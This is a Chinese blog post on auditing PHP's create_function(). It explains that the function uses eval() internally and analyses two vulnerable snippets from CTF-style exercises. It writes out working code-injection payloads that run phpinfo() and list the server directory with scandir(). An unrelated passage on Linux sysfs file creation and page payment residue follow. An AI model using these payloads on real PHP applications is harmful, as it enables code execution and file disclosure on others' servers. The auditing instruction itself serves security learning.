[php代码审计]之create_function()函数

[php代码审计]之create_function()函数
这篇文章结合了许多师傅的博客,再加上了一点我自己的心得

creat_function()介绍

适用范围:php4>=4.0.1,php5,php7
功能:
根据传递的参数创建匿名函数,并为其返回唯一名称
语法:

creat_function(string $agrs,string $code)
//string $agrs	声明的函数变量部分
//string $code	执行的方法代码部分

使用

官方手册使用

代码

<?php
$newfunc = create_function('$a,$b', 'return "ln($a) + ln($b) = " . log($a * $b);');
echo "New anonymous function: $newfunc\n";
echo $newfunc(2, M_E) . "\n";
// outputs
// New anonymous function: lambda_1
// ln(2) + ln(2.718281828459) = 1.6931471805599
?> 

可以得到
在这里插入图片描述
代码分析:

create_frunction()函数会创建一个匿名函数(为lambda样式),并会在内部执行eval()函数,在这里也就是执行后面的return语句,而这个位置正好是属于(string
$code)的

所以实际上create_function()函数可以等价于:

<?php
function lambda_1($a,$b){
	return "ln($a) + ln($b) = " . log($a * $b);
}
;?>

实现了匿名函数的效果

实际例子

0x01
<?php
error_reporting(0);
$sort_by = $_GET['sort_by'];
$sorter = 'strnatcasecmp';
$databases=array('1234','4321');
$sort_function = ' return 1 * ' . $sorter . '($a["' . $sort_by . '"], $b["' . $sort_by . '"]);';
usort($databases, create_function('$a, $b', $sort_function));
?>

payload的构造:

url?sort_by='"]);}phpinfo();/*

在这里插入图片描述
成功执行了phpinfo()
其实也就是相当于执行了:

function niming($a,$b){
return 1 * ' . $sorter . '($a["' . $sort_by '"]);
}
phpinfo();/*
}

这里的/*就是把后面的代码全部注释掉

0x02

代码:

 <?php
error_reporting(0);
if(isset($_GET['action'])) {
    $action = $_GET['action'];
}

if(isset($_GET['action'])){
    $arg = $_GET['arg'];
}

if(preg_match('/^[a-z0-9_]*$/isD', $action)){
    show_source(__FILE__);
} else {
    $action($arg,'');
}


代码分析

这道题需要传入两个变量,变量名分别为actionarg,并且对action变量做了正则过滤,不能以数字,字母,下划线开头,

最后的/i是不区分大小写,/s匹配任何不可见字符 /D如果以$限制结尾字符,则不允许结尾有换行

要绕过这个正则表达式的话,要用一个全局空间

(在名称前面加上\即代表是全局空间,大家可以自行了解全局空间)

这里附上官方说明全局空间
因此,可以构造出payload:

action=\create_function&arg=){}phpinfo();/*

得到:
在这里插入图片描述
如果是要做题的话还可以继续构造:

action=\create_function&arg=){}print_r(scandir(dirname(__file__)));/*

可以直接列出目录表,最后读取某某文件即可

参考博客

博客1
博客2

  • 1
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
`device_create_file` 和 `sysfs_create_file` 函数都可以用于在 sysfs 文件系统中创建文件,但它们的使用场景略有不同。 `sysfs_create_file` 函数是一个通用的函数,它可以在 sysfs 文件系统的任意位置创建文件。该函数的原型如下: ```c int sysfs_create_file(struct kobject *kobj, const struct attribute *attr); ``` 其中,`kobj` 参数是指向 `struct kobject` 结构体的指针,该结构体表示要在其下面创建文件的 sysfs 对象。`attr` 参数是指向 `struct attribute` 结构体的指针,该结构体描述了要创建的文件的属性。`sysfs_create_file` 函数会在 sysfs 文件系统中创建一个与 `attr` 中描述的属性相关联的文件,并将其与 `kobj` 参数指向的 sysfs 对象关联起来。 相比之下,`device_create_file` 函数更加专业化。它是针对 Linux 设备驱动程序的一种特殊机制,用于在与设备相关联的 sysfs 对象下创建文件。该函数的原型如下: ```c int device_create_file(struct device *dev, const struct attribute *attr); ``` 其中,`dev` 参数是指向 `struct device` 结构体的指针,该结构体表示与设备相关联的设备对象。`attr` 参数是指向 `struct attribute` 结构体的指针,该结构体描述了要创建的文件的属性。`device_create_file` 函数会在 sysfs 文件系统中创建一个与 `attr` 中描述的属性相关联的文件,并将其与 `dev` 参数指向的设备对象关联起来。 因此,如果你需要在 sysfs 文件系统的任意位置创建文件,可以使用 `sysfs_create_file` 函数。而如果你需要在 Linux 设备驱动程序中为设备创建文件,应该使用 `device_create_file` 函数
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

o3Ev

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值